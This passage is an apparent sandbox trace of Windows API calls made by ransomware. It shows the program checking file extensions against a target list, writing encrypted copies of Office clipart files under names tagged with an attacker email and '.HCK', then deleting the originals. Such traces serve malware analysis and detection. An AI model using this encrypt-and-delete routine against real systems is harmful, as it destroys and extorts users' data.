lpString2=".WMF") returned -1 [0157.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0157.721] lstrlenW (lpString=".jpg") returned 4 [0157.721] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0157.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0157.721] lstrlenW (lpString=".doc") returned 4 [0157.721] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.721] lstrlenW (lpString=".docx") returned 5 [0157.721] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.721] lstrlenW (lpString=".pdf") returned 4 [0157.721] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.721] lstrlenW (lpString=".xls") returned 4 [0157.721] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.721] lstrlenW (lpString=".xlsx") returned 5 [0157.721] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.721] lstrlenW (lpString=".ppt") returned 4 [0157.721] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0157.721] lstrlenW (lpString=".zip") returned 4 [0157.721] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.721] lstrlenW (lpString=".rar") returned 4 [0157.721] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.721] lstrlenW (lpString=".bz2") returned 4 [0157.721] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.721] lstrlenW (lpString=".7z") returned 3 [0157.721] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0157.721] lstrlenW (lpString=".dbf") returned 4 [0157.721] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0157.721] lstrlenW (lpString=".1cd") returned 4 [0157.721] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0157.721] lstrlenW (lpString=".jpg") returned 4 [0157.721] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.721] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0157.721] lstrlenW (lpString="DD01140_.WMF") returned 12 [0157.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0157.722] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3616) returned 1 [0157.722] CloseHandle (hObject=0x36c) returned 1 [0157.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf")) returned 0x220 [0157.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0157.722] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.722] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0157.722] GetLastError () returned 0x0 [0157.722] ReadFile (in: hFile=0x36c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xe20, lpOverlapped=0x0) returned 1 [0157.733] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xe30, lpOverlapped=0x0) returned 1 [0157.733] ReadFile (in: hFile=0x36c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.733] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.733] SetEndOfFile (hFile=0x300) returned 1 [0157.734] CloseHandle (hObject=0x300) returned 1 [0157.734] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.734] SetEndOfFile (hFile=0x36c) returned 1 [0157.735] CloseHandle (hObject=0x36c) returned 1 [0157.735] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0157.735] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf")) returned 1 [0157.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0157.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0157.736] lstrlenW (lpString=".doc") returned 4 [0157.736] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.736] lstrlenW (lpString=".docx") returned 5 [0157.736] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.736] lstrlenW (lpString=".pdf") returned 4 [0157.736] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.736] lstrlenW (lpString=".xls") returned 4 [0157.736] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.736] lstrlenW (lpString=".xlsx") returned 5 [0157.736] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.736] lstrlenW (lpString=".ppt") returned 4 [0157.736] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0157.736] lstrlenW (lpString=".zip") returned 4 [0157.736] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.736] lstrlenW (lpString=".rar") returned 4 [0157.736] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.736] lstrlenW (lpString=".bz2") returned 4 [0157.736] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.736] lstrlenW (lpString=".7z") returned 3 [0157.736] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0157.736] lstrlenW (lpString=".dbf") returned 4 [0157.736] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0157.736] lstrlenW (lpString=".1cd") returned 4 [0157.736] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0157.736] lstrlenW (lpString=".jpg") returned 4 [0157.736] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0157.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0157.736] lstrlenW (lpString=".doc") returned 4 [0157.736] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.736] lstrlenW (lpString=".docx") returned 5 [0157.736] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.736] lstrlenW (lpString=".pdf") returned 4 [0157.736] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.736] lstrlenW (lpString=".xls") returned 4 [0157.736] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.736] lstrlenW (lpString=".xlsx") returned 5 [0157.736] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.736] lstrlenW (lpString=".ppt") returned 4 [0157.736] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0157.737] lstrlenW (lpString=".zip") returned 4 [0157.737] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.737] lstrlenW (lpString=".rar") returned 4 [0157.737] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.737] lstrlenW (lpString=".bz2") returned 4 [0157.737] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.737] lstrlenW (lpString=".7z") returned 3 [0157.737] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0157.737] lstrlenW (lpString=".dbf") returned 4 [0157.737] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0157.737] lstrlenW (lpString=".1cd") returned 4 [0157.737] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0157.737] lstrlenW (lpString=".jpg") returned 4 [0157.737] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.737] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0157.737] lstrlenW (lpString="DD01145_.WMF") returned 12 [0157.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0157.742] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=2780) returned 1 [0157.742] CloseHandle (hObject=0x2ec) returned 1 [0157.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf")) returned 0x220 [0157.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0157.743] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.743] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0157.743] GetLastError () returned 0x0 [0157.743] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xadc, lpOverlapped=0x0) returned 1 [0157.746] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xae0, lpOverlapped=0x0) returned 1 [0157.747] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.747] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.747] SetEndOfFile (hFile=0x38c) returned 1 [0157.747] CloseHandle (hObject=0x38c) returned 1 [0157.748] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.748] SetEndOfFile (hFile=0x2ec) returned 1 [0157.748] CloseHandle (hObject=0x2ec) returned 1 [0157.748] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0157.749] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf")) returned 1 [0157.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0157.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0157.749] lstrlenW (lpString=".doc") returned 4 [0157.749] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.749] lstrlenW (lpString=".docx") returned 5 [0157.749] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.749] lstrlenW (lpString=".pdf") returned 4 [0157.749] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.749] lstrlenW (lpString=".xls") returned 4 [0157.749] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.749] lstrlenW (lpString=".xlsx") returned 5 [0157.749] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.749] lstrlenW (lpString=".ppt") returned 4 [0157.749] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0157.749] lstrlenW (lpString=".zip") returned 4 [0157.749] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.749] lstrlenW (lpString=".rar") returned 4 [0157.749] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.749] lstrlenW (lpString=".bz2") returned 4 [0157.749] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.749] lstrlenW (lpString=".7z") returned 3 [0157.749] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0157.749] lstrlenW (lpString=".dbf") returned 4 [0157.749] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0157.750] lstrlenW (lpString=".1cd") returned 4 [0157.750] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0157.750] lstrlenW (lpString=".jpg") returned 4 [0157.750] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0157.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0157.750] lstrlenW (lpString=".doc") returned 4 [0157.750] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.750] lstrlenW (lpString=".docx") returned 5 [0157.750] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.750] lstrlenW (lpString=".pdf") returned 4 [0157.750] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.750] lstrlenW (lpString=".xls") returned 4 [0157.750] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.750] lstrlenW (lpString=".xlsx") returned 5 [0157.750] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.750] lstrlenW (lpString=".ppt") returned 4 [0157.750] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0157.750] lstrlenW (lpString=".zip") returned 4 [0157.750] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.750] lstrlenW (lpString=".rar") returned 4 [0157.750] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.750] lstrlenW (lpString=".bz2") returned 4 [0157.750] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.750] lstrlenW (lpString=".7z") returned 3 [0157.750] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0157.750] lstrlenW (lpString=".dbf") returned 4 [0157.750] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0157.750] lstrlenW (lpString=".1cd") returned 4 [0157.750] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0157.750] lstrlenW (lpString=".jpg") returned 4 [0157.750] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.750] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0157.750] lstrlenW (lpString="DD01151_.WMF") returned 12 [0157.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0157.751] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=2960) returned 1 [0157.751] CloseHandle (hObject=0x2ec) returned 1 [0157.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf")) returned 0x220 [0157.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0157.751] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.751] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0157.751] GetLastError () returned 0x0 [0157.751] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xb90, lpOverlapped=0x0) returned 1 [0158.119] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xba0, lpOverlapped=0x0) returned 1 [0158.120] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.120] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.120] SetEndOfFile (hFile=0x38c) returned 1 [0158.120] CloseHandle (hObject=0x38c) returned 1 [0158.121] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.121] SetEndOfFile (hFile=0x2ec) returned 1 [0158.121] CloseHandle (hObject=0x2ec) returned 1 [0158.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0158.122] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf")) returned 1 [0158.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0158.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0158.122] lstrlenW (lpString=".doc") returned 4 [0158.122] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.122] lstrlenW (lpString=".docx") returned 5 [0158.122] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.122] lstrlenW (lpString=".pdf") returned 4 [0158.122] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.122] lstrlenW (lpString=".xls") returned 4 [0158.122] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.122] lstrlenW (lpString=".xlsx") returned 5 [0158.122] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.122] lstrlenW (lpString=".ppt") returned 4 [0158.122] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0158.122] lstrlenW (lpString=".zip") returned 4 [0158.122] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.122] lstrlenW (lpString=".rar") returned 4 [0158.122] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.123] lstrlenW (lpString=".bz2") returned 4 [0158.123] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.123] lstrlenW (lpString=".7z") returned 3 [0158.123] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0158.123] lstrlenW (lpString=".dbf") returned 4 [0158.123] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0158.123] lstrlenW (lpString=".1cd") returned 4 [0158.123] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0158.123] lstrlenW (lpString=".jpg") returned 4 [0158.123] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0158.123] lstrlenW 